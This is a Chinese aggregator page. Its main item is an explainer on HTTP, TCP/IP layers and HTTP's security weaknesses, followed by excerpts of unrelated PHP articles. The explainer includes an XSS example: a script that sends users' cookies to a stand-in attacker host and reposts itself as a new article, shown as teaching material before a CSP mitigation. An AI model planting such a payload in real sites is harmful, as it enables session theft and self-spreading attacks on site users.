精华内容
下载资源
问答
  • 什么是HTTP?为什么不安全的?

    千次阅读 2020-01-21 18:54:22
    我们在输入网址的时候一般是www.baidu.com,浏览器都会自动帮我们加上HTTP或者HTTPS这样的前缀,国内...了解HTTPS之前需要先了解HTTP,知道了HTTP的局限,才能掌握HTTPS安全的本质。 基本概念 在TCP/IP网络协...

    我们在输入网址的时候一般是www.baidu.com,浏览器都会自动帮我们加上HTTP或者HTTPS这样的前缀,国内对于HTTPS讲解的书很少,最近有空拜读了《深入浅出https:从原理到实战》这本书,接下来会分几次表述一下对于这本书的一些笔记或者理解。

     

    了解HTTPS之前需要先了解HTTP,知道了HTTP的局限,才能掌握HTTPS安全的本质。

     

    1. 基本概念

     

    在TCP/IP网络协议成熟以后,世界上任何的设备只要支持TCP/IP就能成为互联网的一个终端,我们安装的浏览器都安装了这个协议。

     

    当TCP/IP逐步流行后,数据传输变得非常容易,任何终端,不管是个人计算机还是手机设备,只要支持TCP/IP,数据就能够从世界上任意一端传输到另外一端,距离不再是问题。

     

    但互联网传输字节流数据不是人能够看得懂的,为了翻译这些数据,让通信的两方用同样的方式去解读这些数据,我们必须定义一个标准,这样两边才能正确的解读数据内容,这就是应用层HTTP的雏形。

     

    HTTP到现在能够传输的数据类型越来越多,有文字、图片、视频等,有了协议,有了内容,如何把这些内容串联起来。

     

    HTTP的意思是超文本传输协议,其中的超文本的意思是关联关系,就是可以从一个地方跳到另外一个地方,就是我们常用的URL,URL代表的互联网的一个资源的地址。

     

    最终Web技术产生了,Web技术是Tim Berners-Lee教授在1980年提出的一个设想,主要包括三个技术,分别是HTML、URL、HTTP。即使到今天,Web模型也没有太大的变化

     

    HTTP概念:超文本传输协议,超文本就是HTML,传输表示由HTTP负责客户端和服务器的数据传输和解析。客户端发送一个HTTP请求至服务器,服务器响应该请求,将数据再发送给客户端。HTTP由一系列规则组成,客户端和服务器需要正确的处理这些规则,HTTP可以认为是信息的载体,信息的内容是由HTML页面组成的。

     

    URL概念:Web由很多资源组成,比如HTML页面、视频、图片,在互联网上每个资源都有一个编号,这个编号就是URL地址。服务器负责定义URL,世界上任何一个资源的编号是唯一的,客户端通过URL地址在互联网中找到该资源,URL的官方名称叫作统一资源标识符(Uniform ResourceLocator)。

     

    URL的规则定义如下:

     

    http://www/example.com:80/index.html

     

    http表示资源需要通过HTTP这个协议才能够获取,换句话说,客户端需要通过HTTP这个协议请求这个资源。

     

    www.example.com表示服务器地址,在互联网中每个服务器都有一个IP地址,但对于用户来说IP地址很难记住,用户一般只会记住服务器主机(比如www.baidu.com的ip是180.101.49.11,但我们进百度的时候都不会输入IP,只会输入网址)名称。

     

    在HTTP中,客户端发送HTTP请求的时候,必须通过DNS协议将服务器主机名转换为IP地址,这样客户端才能找到服务器。80是HTTP协议的默认端口(可以省略不输入),表示服务器通过80端口提供HTTP服务。/index.html表示服务器在/根目录下有一个index.html资源。这就是URL的全部,主要是定义资源的互联网地址,URL虽然和HTTP是紧密关联的,但在Web中是互相独立的。

     

    HTML概念:早期的互联网传输的就是文字,后来为了方便阅读加入了一些样式,比如加粗,换行,标红等等,对文字进行特殊的处理,还可以通过URL来进行图片和视频资源的引用。这些对文字进行特殊处理的规则发展成CSS和JS语言,他们都是HTML的一部分。

     

    Web,大家可能有一个概念,在浏览器中输入一个网址,返回对应网站的页面,然后点点点或者搜索就能找到我们需要的内容,这些返回的内容通过F12键位查看,其实是一个个HTML的页面,这些页面就构成了Web,也被称为WWW(world wide web)。

     

    在web访问中,我们从浏览器发出请求,浏览器就是客户端,接受请求的就是服务器,比如我们在百度里面搜索西红柿,浏览器就会把这个请求发送到百度的服务器,服务器返回搜索的内容,这个过程中HTTP扮演的是数据请求和响应的角色,真正的数据传输是由其他网络层进行处理的。

     

    Web其实是我们常说的互联网的一部分,互联网还包含邮件应用、FTP等,现在我们基本认为web就是互联网。

     

    Web最核心的内容就是HTTP,HTTP由服务器和客户端组成,有了HTTP不同的终端才能交换数据。

     

    1. 理解HTTP

     

    以谷歌浏览器的请求为例,以上是一个简单的请求,请求的URLhttp://www.example.com/index.html,请求的方式是get请求,如果对资源做一定的修改的话一般是post请求,status code表示请求的状态,200 ok表示请求和返回都正常,异常的有400404等。

     

    Remote address表示请求服务器的IP地址和端口,从请求可以看出请求域名最终会被解析成IP地址。

     

    上面是请求的头包含的一些参数:

    Accept-Encoding:gzip

    表示浏览器支持的数据压缩算法是gzip,压缩之后传输的内容会更小,目的是为了更快的传输,参数是gzip等于告之服务器,是否可以使用gzip算法压缩响应后再发送。服务器收到请求后解析Accept-Encoding头部,了解客户端希望使用gzip压缩算法压缩HTTP响应。如果服务器支持gzip压缩算法,会对所有的HTML响应压缩后再发送给客户端(头部并不压缩),为了让客户端知道响应是经过gzip压缩的,需要输出Content-Encoding:gzip头部,如果服务器不支持gzip算法,也可以原样将HTML响应发送给客户端,并且不输出Content-Encoding头部。

     

    Connection: keep-alive

    当一个网页打开之后,等于客户端和服务端已经建立起了TCP连接,连接参数是keep-alive表示后面客户端的访问会继续使用这个连接而不必再次建立,如果随时关闭的话可以设置为close,这个连接不是一直连接,而是有一定的时间,可以在服务器上进行设置。

     

    Hostwww.example.com

    需要DNS解析器进行解析。加入你在阿里云购买了一个服务器和一个域名,需要将域名和服务器进行绑定,也就是让DNS能够把你的域名解析成你服务器的IP

     

    User-Agent: Mozilla/5.0

    客户端的浏览器版本。

     

     

    上面是返回的头,下面是返回的HTML内容:

    <!doctype html>
    
    <html>
    
    <head>
    
        <title>Example Domain</title>
    
    
    
        <meta charset="utf-8" />
    
        <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
    
        <meta name="viewport" content="width=device-width, initial-scale=1" />
    
        <style type="text/css">
    
        body {
    
            background-color: #f0f0f2;
    
            margin: 0;
    
            padding: 0;
    
            font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;
    
           
    
        }
    
        div {
    
            width: 600px;
    
            margin: 5em auto;
    
            padding: 2em;
    
            background-color: #fdfdff;
    
            border-radius: 0.5em;
    
            box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);
    
        }
    
        a:link, a:visited {
    
            color: #38488f;
    
            text-decoration: none;
    
        }
    
        @media (max-width: 700px) {
    
            div {
    
                margin: 0 auto;
    
                width: auto;
    
            }
    
        }
    
        </style>   
    
    </head>
    
    
    
    <body>
    
    <div>
    
        <h1>Example Domain</h1>
    
        <p>This domain is for use in illustrative examples in documents. You may use this
    
        domain in literature without prior coordination or asking for permission.</p>
    
        <p><a href="https://www.iana.org/domains/example">More information...</a></p>
    
    </div>
    
    </body>
    
    </html>

    这个HTML在浏览器上显示出来就是:

     

     

    HTTP有以下几个特点:

    1. 客户端/服务器模型

    HTTP是一个客户端/服务器模型, 它本身是不能传输的,需要通过网络层中的其他协议进行通信,一般构建在TCP之上。TCP能够提供一个可靠的、面向连接的传输服务,换句话说,客户端和服务器是否正确传输依赖于TCP这个协议。

    2HTTP是无状态的

    HTTP是基于TCP的,早期的请求完成之后TCP连接会关闭,完全和上一次的请求没有关系。

    在互联网早期,可以说这种设计很好,但是现在的Web应用越来越丰富,无状态的设计已经不能适应新的情况,为了保持状态,出现了CookieSession技术,但是Cookie技术设计得非常不严谨,引发了很多安全问题。。

    3HTTP是跨平台的

    通过上面的讲解,读者知道HTTP就是具备一定规则的纯文本信息,任何开发语言都可以实现HTTP或者基于HTTP进行开发,开发出来的软件也很容易移植,受系统环境的影响非常少。

    4HTTP用途很广泛

    Web主要使用HTTP进行传输数据,HTTP更多的是一个数据载体,对于Web应用来说更重要的是浏览器如何处理这些数据,这些本身和HTTP关系并不大。考虑到HTTP如此简单,基于HTTP的应用非常多,比如,不管是iOS还是Andriod应用,都需要调用基于HTTPAPI接口。

    TCP/IP概述

    TCP/IP是标准的互联网网络协议,没有该协议就没有互联网,互联网上的终端必须配置TCP/IP才能进行通信。

     

    任何协议都是一种标准,标准的含义就是通信双方需要遵循相同的规则,才能互相协作。想象两个人互相打电话,拨打电话的人首先要知道对方的手机号(IP地址),然后拨打电话确保连接上对方(TCP),通过IP选择一条最优的传输路径,最终应用层数据(人的语言)通过终端(网卡)、网络设备(电话线)传输给对方。

    它的层级大概如下:

     

     

    1. 应用层

    如果没有应用层,那么网络中传输的数据没有任何意义,因为人类无法理解数据的含义。而有了应用层,软件就能解释应用层数据的含义。在Web应用中,有了HTTPHTML标准,浏览器才能呈现对用户有意义的内容。应用层协议有很多,比如HTTPFTP、邮件协议,开发者开发的软件一般都是应用层协议软件。

    1. 传输层

    客户端传输层接收到应用层消息后,负责连接服务器,但服务器有很多服务,服务器如何知晓客户端需要连接的服务呢?传输层中通过端口来区分服务,通过IP地址和端口号才能构建一条传输通道,对于HTTP来说,服务器端口号默认是80,而客户端的端口是随机产生的。传输层主要有TCPUDP, TCP能够保证数据正确地到达,一旦出现错误,会有一系列处理机制,比如重发和校验机制,保证数据正确地传输到对端。HTTP构建在TCP之上,在连接阶段,TCP使用三次握手机制确保可靠传输。

     

    1.初始化连接,客户端发送SYN消息(随机值x)请求一个新连接。

    2.服务器接收SYN消息,发送SYN ACK响应消息。

    3.客户端发送ACK消息确认本次连接成功。

    UDP不能保证数据正确传达,比如客户端收到数据后,不会向服务器确认本次接收到的数据有多少,所以服务器也无法确认客户端是否正确收到了数据,UDP的优点就是性能高,减少了很多开销。

    1. 网络层

    网络层主要是IP这个协议,客户端和服务器传输的时候,会经过很多节点,IP就是选择一条最优的路径。每个终端上都有一张路由表,路由表负责将数据传输到下一个节点,下一个节点再传输到下下个节点,最终到达目的地址。

    1. 链路层

    应用层、传输层、网络层都是虚拟的,只有链路层才是实体设备,包括光纤、网卡等设备。基于这些设备,数据最终才能到达终端。

     

    接下来简单描述封包/拆包机制,对于客户端请求来说,传输层接收到应用层消息后,在HTTP数据包前面增加TCP包头,然后发送给网络层;网络层在TCP数据包前面加上IP包头发送给链路层;链路层在IP数据包前面加上以太网包头;最终服务器接收到完整的数据包。

     

    然后服务器进行拆包:首先在网络层去除链路层包头;在传输层去除IP包头;在应用层去除TCP包头;最终得到完整的HTTP应用层数据。

     

    协议安全分析

     

    知道了基本的概念,下面分析互联网安全,包括两部分:

    HTTP本身的安全和Web应用的安全。

     

    HTTP安全:

    1. 无线WIFI攻击:现在走到哪里先问WiFi密码,但是一些攻击者会提供免费的WiFi,当你使用HTTP协议的情况下,连接这些WiFi的时候,你将没有任何的隐私。

    提供WiFi的人可以截获所有的HTTP流量,而HTTP流量本身都是明文的,这就导致任何的个人信息、密码等全部被截获,而使用这些WiFi的人并没有感知,这叫被动攻击。

    1. 垃圾广告攻击:很多用户浏览某个网页的时候,经常发现页面上弹出一个广告,而这个广告和访问的网页根本毫无关系,这种攻击很常见,主要是ISP(互联网服务提供商)发动的一个攻击,用户根本没有任何办法防护。用户访问网站的时候肯定经过ISP, ISP为了一些目的,比如获取广告费用,在响应中插入一段HTML代码,就导致了该攻击的产生。这种攻击称为主动攻击,也就是攻击者知晓攻击的存在。

    这种攻击用户还能忍受,更严重的是ISP或者攻击者在页面中插入一些恶意JavaScript脚本,脚本一旦在客户端运行可能会产生更恶劣的后果,比如XSS攻击(跨站脚本攻击)。

    协议不安全的根本原因:

    1. 数据没有加密:

     HTTP本身传递的是明文,不会加密这些信息,只要攻击者能够获取这些明文,用户的隐私就完全暴露了。HTTP是基于TCP/IP的,TCP/IP的特点也决定了HTTP数据很容易被截获,网络传输过程中,路由策略决定HTTP数据会通过很多节点设备,节点很轻松就能截获明文数据,由于数据没有加密,很容易理解其含义。

    2.无法验证身份

    HTTP应用中,客户端和服务器并不能确认对方的身份,在HTTP标准中,没有校验对端身份的标准。对于服务器来说,它接收的HTTP请求格式只要正确,就发送响应信息。对于客户端来说同样如此,它连接的是www.example.com主机,但由于有中间节点的存在,最终连接的可能是www.example.cn主机,但对于客户端来说,它无法校验服务器的身份。

    3.数据易篡改

    HTTP数据在传输过程中,会经过很多节点,这些节点都可以修改原始数据,而对于客户端和服务器来说,没有任何技术来确保接收的数据就是发送者发送的原始数据。

    由于没有机制确保数据的完整性,客户端和服务器只能无条件信任接收到的数据,这也产生了很多安全问题,篡改数据也叫作中间人攻击。比如ISP插入广告的例子,如果有一种机制能够让浏览器知晓数据已经被篡改,那么浏览器就可以告知用户危险,并中断本次请求。

     

    Web应用安全

    HTTP只负责数据传输,真正的攻击对象是浏览器(用户)和服务器(数据)。

     

    互联网早期服务器负责输出数据,客户端基于HTML负责渲染,标签和元素非常少,这种群情况下攻击只要构建一条不规范的HTTP请求就行了,也有利用程序的漏洞来进行SQL注入破坏服务器数据。

     

    互联网中期HTML扩展了很多标签,脚本语言JS等广泛使用,在客户端完成的逻辑越来越多,可供攻击的模式也越来越多,执行恶意脚本等成为常见的手法。

     

    这里以常见的XSS攻击方式进行说明,XSS就是利用应用程序的漏洞,诱使用户触发恶意代码,从而自动发送恶意的HTTP请求至服务器,造成自动攻击。

     

    通过一个博客系统来描述XSS攻击:

     

    攻击者发现一个博客系统存在漏洞,发表文章的时候,服务器没有转义或者过滤数据

     

    攻击者用账号登录博客系统,打开文章编辑器,输入正常的内容,但是在文章末尾加入一段恶意代码(<script type='text/javascript'src='http://www.attack.com/attack.js'></script>)。

    由于服务器没有任何的校验机制,所以正常生成了一篇文章,比如http://www.example.com/article.html

     

    攻击者将这篇文章的地址发送到各大论坛,或者将文章地址用邮件发送给其他人。

     

    不明真相的人一旦打开这篇文章,浏览器就会下载并置执行attack.js文件,由于该文件包含了恶意代码,就可以进行攻击

    <script type=" text/ javascript" >
    
             $ (function() {
    
                      var cookie = encodeURIComponent (document. cookie)
    
                      $(’<img src="http://www. attack. com/attack. php? cookie=' + cookie+’">').appendTo($ (document. body))
    
                      var content = "<scr"+" ipt type='text/javascript' src=' http://wwww.attack.com/attack. js’></scr"+" ipt>"
    
                      $.post("http://www.example.com/sendArticle.php",{content :content},function(result) {});
    
             })
    
    </script>

     

    这段代码中会产生两个攻击:将用户www.example.com主机下的所有Cookie信息发送给攻击者。自动以正常用户的身份生成一篇文章,而这篇文章包含同样的攻击代码。

    目前的互联网

     

    目前互联网更关注移动互联网,尤其是手机设备,为了更好地支持移动设备并提升性能,提出了HTML5标准,HTML5标准是下一代HTML标准。HTML5支持了更多的功能,比如说地理位置、照相机,而这些功能是手机设备本身具备的。对于开发者来说,由于拥有了更多的设备控制能力,会进一步导致安全问题,比如在HTML旧标准中,客户端JavaScript最多获取设备上的Cookie,不能获取设备的其他信息,而在HTML5中,客户端还能获取手机照片库信息,一旦应用实现出现问题,会暴露设备上更多的隐私信息,所以浏览器在实现HTML5标准的时候,会有很多的安全策略,这些标准是由W3C指定的。

     

    W3C

     

    Tim Berners-Lee教授提出Web技术后成立了W3C组织,W3C主要制定Web技术的标准,比如HTML标准、DOM标准、CSS标准、ECMAScript标准,而实现这些标准主要由浏览器厂商或者服务器厂商完成。如果没有严格遵守标准,会产生很多兼容和安全问题。

     

    在互联网早期,W3C没有过多考虑安全问题,而目前W3C有了更多的安全标准,尤其在制定HTML5标准的时候,充分考虑了安全问题。

     

    W3C主要以HTTP头部的方式提供安全保护,比如Access-Control-Allow-OriginX-XSS-ProtectionStrict-Transport-SecurityContent-Security-Policy HTTP头部,一旦开发者和浏览器正确地遵守安全标准,就能缓解安全问题。

     

    比如前面的XSS攻击,主要原因就在于浏览器执行了一个外部JavaScript脚本,如果浏览器按照策略不加载外部脚本,攻击就无从谈起了。比如服务器输出下面的Content-Security-Policy头信息,等于告诉浏览器只允许加载www.example.com本域下的脚本文件,就能避免XSS攻击。

     

    Content-Security-Policy: default-src:’self’; script-src: http://www.example.com;

     

    展开全文
  • php的线程不安全

    千次阅读 2011-06-29 20:38:00
    上一篇文章说到一个问题:wev-server处理一...故而:那是每一个php请求都创建分配了一个进程。 网上也很多人说这个问题,因为php手册上说:php是使用线程的。实际上:此时是用多进程来模拟线程而已。所以你查看线程进

          上一篇文章说到一个问题:wev-server处理一个php请求,是给它一个线程呢?还是一个进程呢?这就要牵扯php本身的一些特性了。


          早期版本的x系统,包括linux等,其实不支持线程的。故而:那是为每一个php请求都创建分配了一个进程。 网上也很多人说这个问题,因为php手册上说:php是使用线程的。实际上:此时是用多进程来模拟线程而已。所以你查看线程进程什么的,你会发现每个请求都是一个进程。


          到了后期:新版本的系统都支持线程了,windows更不用说了。问题是php本身是线程不安全的。那什么叫:线程不安全呢??举个最简单的例子:多个同样的php请求过来: GET /file/create?name=a;         GET /file/create?name=b;

          如果每个php请求都是用一个线程会出现什么情况呢?我们都知道:线程是公用进程空间的。这意味着:上述两个请求是公用同一个进程内存空间的。而php收到用户的请求之后,其会将GET参数进程存储。 对上述请求会在superglobal变量 $_GET['name']中存放值。 问题是:

    $_GET['name']只能存放唯一一个值(因其共用同一个进程空间,从而只有一个该变量),而这里用户两个请求传入了两次值,此时:$_GET['name']中存放的是a还是b呢?显然:无论怎样,a和b都是只能存一个,不可能两个都保存着,这导致对这个变量空间的使用产生了竞争。 这也就是为什么说:php是线程不安全的原因!! 因为线程的公用内存空间这一特性已经决定了php在使用时是不安全的!!所以:一般每个php请求都是用一个进程来处理的,这样每个都有自己独立的内存空间,这就不会遇到上边所说的问题了,亦即:php是进程安全的,但是线程不安全的。


          那很多人会说了:php新版本在windows下就是用线程来处理每一个请求,此时怎么处理的?其实为了实现真正的线程,php内部有一套自己的机制,这就是TSRM (线程安全资源管理器)。这个机制说简单一点就是:每当一个请求到来就会创建一个线程,但是同时会把全局变量拷贝一份存在一块新申请的内存中,而后把这个内存块串联到一个vector中,并最终由zend engine(也就是执行php的虚拟机)来管理 。说白了就是:对于导致产生线程不安全性的全局变量,每一个线程都单独拷贝一份自己使用,通过这种拷贝的方式避免了资源竞争导致的线程不安全性。

    (对于TSRM的详细实现可以参见博文:http://www.laruence.com/2008/08/03/201.html) 


         

        

    展开全文
  • php线程安全

    千次阅读 2008-10-07 17:08:00
    看到zend debuger有非线程安全的版本...一个服务进程可以安全地提供多请求线程的支持一些扩展并遵守例如:线程安全的扩展中,全局变量的定义不是像普通C程序那样直接定义在函数之外,而是定义在宏ZEND_BEGIN_MODULE_G
    看到zend debuger有非线程安全的版本,才知道PHP推出了非线程安全的版本。而此前我对非线程安全一无所知:
    另一篇文章好像说这个跟FASTCGI有点关系。
    这是一段文字,不过我没看明白:
    php本身是线程安全的。一个服务进程可以安全地提供多请求线程的支持
    一些扩展并不遵守
    例如:线程安全的扩展中,全局变量的定义不是像普通C程序那样直接定义在函数之外,而是定义在宏ZEND_BEGIN_MODULE_GLOBALS和 ZEND_END_MODULE_GLOBALS之间。需要ZTS(Zend Thread Safe)支持的扩展需要包含TSRM.h头文件,并定义TSRMG宏值
    在不支持线程安全的扩展中,仅是简单地认为一个服务进程同时只有一个请求在激活状态,不会出现冲突,那么全局变量可以简单地在RINIT函数中初始化(RINIT表示请求开始)并在RSHUTDOWN中注销:
    CODE:
    PHP_RINIT_FUNCTION(ext)
    {
       counter = 0;
    }
    PHP_FUNCTION(ext)
    {
       RETURN_LONG(counter++);
    }
    这就是一个很简单的计数器。只要请求没有结束,每次调用ext,都会触发counter自增。
    当在多线程环境中时,这个程序会发生严重的混乱,counter会变得飘忽不定,因为没有办法预测线程的触发和结束顺序及时间。这说明这个扩展并非线程级安全。

    多线程,Apache 1.3 和 Apache 2.0

    如 果您已经使用了 Apache 和 PHP 一段时间了,那么您很可能见到过安装文档中的一个警告信息,它说“不要在生产环境中使用 Apache 2.0.x 和 PHP,在 Unix 和 Windows 上都不行”。在 Windows 系统上的 PHP 5.0.2 包中,这个警告信息可以在 install.txt 文件中的第 745 行找到。我们需要理解此处的这个问题是什么,这样就可以决定是否要使用 Apache 2.0 或 IBM HTTP Server 2.0。

    Apache 2.0 可以配置为以两种方法运行:采用线程的和不采用线程的。当作为一个采用线程的服务器运行时,服务器中可以同时有多个线程都处于活动状态在执行,一次可以为 多个用户生成响应信息。通常,这样可以提高服务器的响应能力,使其更好地利用具有多个处理器的大型硬件。但是它同时也引入了一种风险。服务器调用的各个软 件层次必须在同时为多个用户调用时都能保证是安全的。尽管 Web 服务器本身、PHP 解释器以及 PHP 扩展以这样调用都是安全的,但是有些 PHP 扩展会使用其他语言(例如 C 语言)编写的库,这些库并不全都是线程安全的。

    在 Apache Web 页面上您可以找到一个有关这个问题的讨论,其中给出了一些建议,以及一种用来发现您的 PHP 扩展可能正在使用哪些 C 库以及哪些是线程安全的方法,请参阅参考资料部分。

    在 实践中,很多人都会选择回避这个问题,而是采用下面的两种方法:要么以单线程模式使用 Apache 2.0,要么使用 Apache 1.3,它总是以单线程模式运行。虽然 Apache 1.3 和 2.0 也有其他一些区别,例如 Apache 2.0 可以支持 IPv6,但是到目前为止,二者之间最大的区别就是线程的问题,因此保留使用 Apache 1.3 服务器并不像听起来一样是一种退化。

    这 个问题在 IBM HTTP Server 中是怎样的呢?IBM 采用线程模式从 Apache 2.0 中编译出了 IBM HTTP Server:这样速度更快,但却可能在使用非线程安全的扩展时是不安全的。由于 IBM 并没有同时发行源代码,而且选择采用线程和不采用线程的模式都是在编译时进行选择的,因此作为一个终端用户来说,您无法选择采用不使用线程的模式重新编译 IBM HTTP Server 2.0。不过在编写本文时,IBM 正在同时发行基于 2.0 和 1.3 版本的 IBM HTTP Server,这样您就可以选择使用单线程的基于 1.3 版本的服务器了。

     
    展开全文
  • php的二进制安全

    千次阅读 2014-11-24 21:48:43
    什么php的二进制安全什么结构确保了php的二进制安全,这种结构还有哪些其它方面的应用?

    本文主要从三个角度来阐述php的二进制安全:1. 什么叫php的二进制安全;2. 什么结构确保了php的二进制安全;3. 这种结构还有哪些其它方面的应用?

    做到知其然,也知其所以然。

    一句话解释:

    php的内部函数在操作二进制数据时能保证达到预期的结果,例如str_replace、stristr、strcmp等函数,我们就说这些函数是二进制安全的。

    举个列子:

    我们来对比一下C和php下的strcmp函数。

    C代码如下

    main(){
        char ab[] = "aa\0b";
        char ac[] = "aa\0c";
        printf("%d\n", strcmp(ab, ac));
        printf("%d\n", strlen(ab));
     }

    结果:

    0

    2

    解读:

    也就是说C语言认为ab和ac这两个字符串是相等的,而且ab的长度为2.


    php代码如下

    <?php
        $ab = "aa\0b"; 
        $ac = "aa\0c";
        var_dump(strcmp($ab, $ac));
        var_dump(strlen($ab));
     ?>
    结果:

    int(-1)

    int(4)

    解读:

    也就是php语言认为ab和ac这两个字符串是相等的,而且ab的长度为4。

    聪明的你,应该已经发现问题在哪了吧,不错,对于c语言‘\0’是字符串的结束符,所以在C语言中对于字符串“aa\0b”,它读到'\0'就会默认字符读取已经结束,而抛掉后面的字符串'b',导致我们看到strlen(“aa\0b”)的值为2

    那问题又来了,php都是C来开发的,为什么php做到了二进制安全呢?

    先来看看php的变量存储zval结构


    php会根据type的值来决定访问value的哪个成员,为字符串时,我们会访问红框标识的str结构,这便是底层字符串的存储结构,它有两个值,一个是指向字符串的指针val,另一个是记录字符串长度的len值,就是因为有len这个值,导致了php是二进制安全的:因为它不需要像C一样通过是否遇到'\0'结尾符来判断整个字符串是否读取完毕,而是通过len这个值指定的长度进行读取。

    
    可见一个小小的数据结构改进,为我们带来了更多想象的空间,可谓是结构的一小步,功能的一大步

    拓展:

    这么好用的结构,显然会被到处使用,我们常用的redis,在底层存储数据时就用到了这种结构,Redis 没有直接使用 C 语言传统的字符串表示(以空字符结尾的字符数组),而是自己构建了一种名为简单动态字符串(simple dynamic string,SDS)的抽象类型,并将 SDS 用作 Redis 的默认字符串表示

    看下SDS的结构定义
    struct sdshdr {
    
        // 记录 buf 数组中已使用字节的数量
        // 等于 SDS 所保存字符串的长度
        int len;
    
        // 记录 buf 数组中未使用字节的数量
        int free;
    
        // 字节数组,用于保存字符串
        char buf[];
    
    };
    
    
    可以看到,我们又见到了熟悉的len值,又是它保证了redis的存储是二进制安全的

    以下内容足以阐明这一点:(摘自http://redisbook.com/preview/sds/different_between_sds_and_c_string.html#id6

    C 字符串中的字符必须符合某种编码(比如 ASCII),并且除了字符串的末尾之外,字符串里面不能包含空字符,否则最先被程序读入的空字符将被误认为是字符串结尾 ——这些限制使得 C 字符串只能保存文本数据,而不能保存像图片、音频、视频、压缩文件这样的二进制数据。

    举个例子,如果有一种使用空字符来分割多个单词的特殊数据格式,如图 2-17 所示,那么这种格式就不能使用 C 字符串来保存,因为 C 字符串所用的函数只会识别出其中的 "Redis" ,而忽略之后的 "Cluster"

    digraph {    label = "\n 图 2-17    使用空字符来分割单词的特殊数据格式";    node [shape = record];    content [label = " 'R' | 'e' | 'd' | 'i' | 's' | '\\0' | 'C' | 'l' | 'u' | 's' | 't' | 'e' | 'r' | '\\0' "];}

    虽然数据库一般用于保存文本数据,但使用数据库来保存二进制数据的场景也不少见,因此,为了确保 Redis 可以适用于各种不同的使用场景,SDS 的 API 都是二进制安全的(binary-safe):所有 SDS API 都会以处理二进制的方式来处理 SDS 存放在 buf 数组里的数据,程序不会对其中的数据做任何限制、过滤、或者假设 ——数据在写入时是什么样的,它被读取时就是什么样。

    这也是我们将 SDS 的 buf 属性称为字节数组的原因 ——Redis 不是用这个数组来保存字符,而是用它来保存一系列二进制数据。

    比如说,使用 SDS 来保存之前提到的特殊数据格式就没有任何问题,因为 SDS 使用 len 属性的值而不是空字符来判断字符串是否结束,如图 2-18 所示。

    digraph {    label = "\n 图 2-18    保存了特殊数据格式的 SDS";    rankdir = LR;    node [shape = record];    //    sdshdr [label = "sdshdr | free \n 0 | len \n 14 | <buf> buf"];    buf [label = " { 'R' | 'e' | 'd' | 'i' | 's' | '\\0' | 'C' | 'l' | 'u' | 's' | 't' | 'e' | 'r' | '\\0' | '\\0' } "];    //    sdshdr:buf -> buf;}

    通过使用二进制安全的 SDS ,而不是 C 字符串,使得 Redis 不仅可以保存文本数据,还可以保存任意格式的二进制数据。



    展开全文
  • 前段时间因天业务需求,需安装某一项目但是在安装过程中总会出现各种报错,正常的显示,经与原开发人员交流后发现,此项目要求PHP必须要是非线程安全的。为此我特意去查了一下关于PHP线程安全和非线程安全,现整理...
  • PHP开发api接口安全验证

    万次阅读 多人点赞 2017-03-20 12:41:04
    PHP写好接口后,前台就可以通过链接获取接口提供的数据,而返回的数据一般分为两种情况,xml和json,在这个过程中,服务器并知道,请求的来源是什么,有可能是别人非法调用我们的接口,获取数据,因此就要使用安全...
  • php接口安全问题

    千次阅读 2016-02-22 11:52:08
    在平时工作或者正式项目中,做接口在所难免,而接口的安全问题首当其冲,为了防止接口被别人恶意调用,一般会做一个加密的工作,不同的公司,都有一套不同的处理方式。我们公司也有一套处理方式,即:做了一个加密的...
  • 整理一些PHP开发安全问题

    千次阅读 2015-07-06 08:19:36
     php给了开发者极大的灵活性,但是这也为安全问题带来了潜在的隐患,近期需要总结一下以往的问题,在这里借翻译一篇文章同时加上自己开发的一些感触总结一下。 简介  当开发一个互联网服务的时候,必须时刻牢记...
  • PHP安全过滤函数

    千次阅读 2016-04-01 17:51:21
    PHP中,有些很有用的函数开源非常方便的防止你的网站遭受各种攻击,例如SQL注入攻击,XSS(Cross Site Scripting:跨站脚本)攻击等。 1. mysql_real_escape_string() 这个函数在PHP中防止SQL注入攻击时非常有用...
  • 在看PHP手册的时候,经常看到一句话”该函数是二进制安全的”。 二进制安全什么呢? 他是如何实现的? 二进制安全什么?先看一段代码:<?php ... /*返回0, 由于是非二进制安全,误判相等 */ echo strcmp($strin
  • PHP安全模式详解 (huangguisu) 这个是之前的笔记,随笔贴上而已。PHP安全模式在5.4的时候已经不再支持了。查看官网: Safe mode is no longer supported. Any applications that rely on safe mode may need...
  • php编程安全指南

    千次阅读 2016-07-05 14:37:43
    php编程安全指南 1、一般  1)lamp系统安全设置  2)php.ini安全设置  3)使用MVC框架 2、数据传输  1)在$_GET的$_POST,$_COOKIE,和$_REQUEST中,消毒和验证之前以编程方式操纵数据中包含的所有数据  2...
  • PHP的线程安全与非线程安全版本,【暂时可认为】只存在与Windows版本中,即常是我们的本地开发环境【如果您使用mac,省略这句】,*nix中则存在该问题,因为*nix中,存在线程的概念,自然存在线程安全问题。...
  • php安全之字符转换

    千次阅读 2011-04-05 00:27:00
    php安全 字符转换
  • [转]浅谈php web安全

    千次阅读 2012-09-27 13:18:40
    作者:phpben来源:http://www.phpben.com/?post=79 浅谈php web安全前言:首先,笔记不是web安全的专家,所以这不是web安全方面专家级文章,而是学习笔记、细心总结文章,里面有些是我们phper不易发现或者说重视...
  • WEB安全基础-PHP相关

    千次阅读 2018-01-05 12:02:13
    PHP相关 ...问:PHP什么? 答:PHP:Hypertext Preprocessor; PHP:超文本处理器; 一种使用广泛的开源的脚本语言,常用于网页开发; PHP脚本在服务器上执行; 脚本范围: 注释:
  • windows下apache/php安全配置

    千次阅读 2013-06-17 15:11:16
    继上篇《PHP网站被挂马...  ...(上篇已提到) ...(上篇已提到) 3、 启动php安全模式; 4、 其他安全设置;...一、php安全模式 php安全模式是个php内嵌的安全机制,能够控制php中的shell函数,比如system(),同时把大部分
  • 什么是线程安全与非线程安全? 线程安全就是在多线程环境下也不会出现数据一致,而非线程安全就有可能出现数据一致的情况。 线程安全由于要确保数据的一致性,所以对资源的读写进行了控制,换句话说增加了...
  • 关于PHP代码安全

    千次阅读 2011-12-03 02:07:33
    PHP代码可以文本查看,那么如果我虚拟机,是不是所有可以登录这台机器且有权限访问我虚拟目录的人都可以拿走我的代码,起码是可能的。 查了下zend gard可以用来加密代码,服务器要有zend optim组件就能运行加密的...
  • PHP 关闭安全模式

    千次阅读 2012-05-30 10:01:09
    编辑php.ini文件,查找safe_mode,如果看到safe_mode = On则改成safe_mode = Off保存,重启apache就ok了
